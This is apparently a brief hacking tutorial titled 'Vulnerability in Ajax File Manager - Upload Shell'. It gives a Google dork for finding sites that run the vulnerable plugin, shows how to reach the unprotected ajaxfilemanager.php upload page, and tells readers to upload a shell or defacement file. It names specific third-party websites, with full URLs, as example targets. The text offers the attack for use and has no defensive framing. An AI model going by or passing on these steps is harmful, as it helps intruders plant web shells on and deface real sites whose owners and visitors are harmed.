Vulnerability in Ajax File Manager - Upload Shell

AJAX is about updating parts of a web page, without reloading the whole page.



 

•  First of all open Google Search Engine.
• Now type this google dork in it inurl:/plugins/ajaxfilemanager/ 
• Now hit Search and open any website shown in the result.

For Example :

• http://www.ziaislamic.com/BOOK-CMS/interfaces/fckeditor/editor/plugins/ajaxfilemanager/session/ 
• http://lovegracia.com/tiny_mce/jscripts/tiny_mce/plugins/ajaxfilemanager/jscripts/edit_area/reg_syntax/

or any site else ...

• Now Put  ajaxfilemanager/ajaxfilemanager.php after /plugins/ in url.
• It will look like as below :

For example : 

• http://www.ziaislamic.com/BOOK-CMS/interfaces/fckeditor/editor/plugins/ajaxfilemanager/ajaxfilemanager.php 
• http://lovegracia.com/tiny_mce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php

• Now Find Upload and Upload Your shell/Deface/file 
• To view you File find /Uploaded/ directory in Website by using your Drac-101code.

Artikel Terkait: